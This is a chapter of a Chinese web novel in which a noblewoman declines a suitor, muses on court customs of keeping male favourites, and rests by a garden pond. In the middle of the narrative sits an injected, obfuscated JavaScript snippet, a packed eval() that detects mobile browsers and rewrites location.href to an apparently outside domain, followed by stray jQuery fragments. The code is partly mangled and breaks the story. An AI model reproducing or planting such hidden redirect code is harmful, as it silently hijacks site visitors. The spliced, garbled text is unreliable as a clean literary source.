19. 入幕之宾


    钟含章哑然失笑:“阮兄胸怀大器,不必如此行事。”

    阮睦见自己竟然被拒绝了,白净的面上浮现出淡淡的红晕,他轻声道:“是阮睦唐突了,望娘子见谅。”说完,怕是不敢听到钟含章的回应般,疾步离开了。

    钟含章惋惜地叹了口气,她本以为阮睦是个有趣的人,怎么也学洛京子弟那一套。

    在本朝,民风开化,世家贵女中养面首的风气算不得什么新鲜事。即便是出嫁之后,仍有不少女子在后宅中眷养俊俏郎君,世人亦多见不怪。其中尤以长乐长公主为甚。自开府建衙以来,公主府中便常有才俊出入,珠帘之后,宾客不绝。即便后来下嫁征西将军秦徵,这般作风也未曾稍改,依旧恣意如初。

    孟宜周地位尊贵,自幼得先帝珍爱,今上亦对其圣宠优渥,凡有所请,无不应允。因而京中渐生风气:若有才貌双绝的清贵郎君能得长公主青眼,成为其入幕之宾,便似寻得一条青云梯,仕途通达指日可待,以至于洛京流传着“暮入公主府,朝拜秘书署”这样看似讽刺却不无欣羡的话。
    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16420549|184423||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    p>

    这些年来,对钟含章自荐枕席的人自然也不少,无非是想通过她得太尉征辟,或和颍川钟氏沾上些缘故,再不济也能在皇帝、太后面前得几句美言。

    钟含章却从未接受过任何一个人。这倒不是因为她有多清高,而是这些人对她来说实在算不上诱惑。

    在阮睦走后,又陆陆续续来了几个人想来自荐枕席。这些人长得不如阮睦,却更加急功近利,恨不能立马收拾东西跟着钟含章回钟府。钟含章不胜其烦,她知道只要自己一个人待着,便会有这种不识趣的人凑上来。

    她环顾张望了一下,却没瞧见卢簌玉,便避开人群想去找找她。不知不觉中,竟走到了清风苑后面的曲池边。

    这里没有点灯,暮色渐起,显得有几分昏黄萧索。四下无人,一片寂静,惟听到前苑的喧笑声隐隐约约地传来,倒在这偌大的清风苑成了一方自成的天地。

    凉风袭面,吹散了钟含章面上那抹淡淡的酡红。钟含章其实不怎么会喝酒,方才几杯薄酒,已经让她的面颊有些发红发烫,脑袋也昏沉起来。见四下无人,她索性将鞋袜脱去,把双脚浸在池水中。秋日的池水已然冰凉,但钟含章因吃了酒,身上发热,不仅不觉寒冷,反倒有一种说不出的惬意,酒也跟着醒了几分。

    清风苑乃皇家花苑,哪怕无人时也自有仆役每日扫洒。因此这曲池之水并未因落叶堆积而浑黄,依旧清澈透亮,钟含章低头便能清清楚楚地看到自己的双脚。她的脚肤白胜雪,浸在池水中像从淤泥中长出的一段藕节。钟含章毕竟是个十几岁的小姑娘,终究是孩子心性。她越看越觉得有趣,忍不住踩起水来,直到溅起的水花险些打湿了上衣才停了下来。

    她有些疲惫地躺在了草地上,两脚有一搭没一搭地在池水里划动。这样久违的惬意让钟含章的身心都松快了起来,不禁轻哼起了记忆里那首熟悉的歌谣:

    “春来台城柳,秋深栖霞红,夏夜秦淮舟,冬雪钟山松。乌衣巷口燕,年年入画栋,朱楼歌舞歇,江水自朝东。”

    这是昔年于东擎书院求学时,金陵人人会传唱的一首歌谣。歌谣曲调悠扬,宛转动人,带着江南独

本章未完,请点击下一页继续阅读>>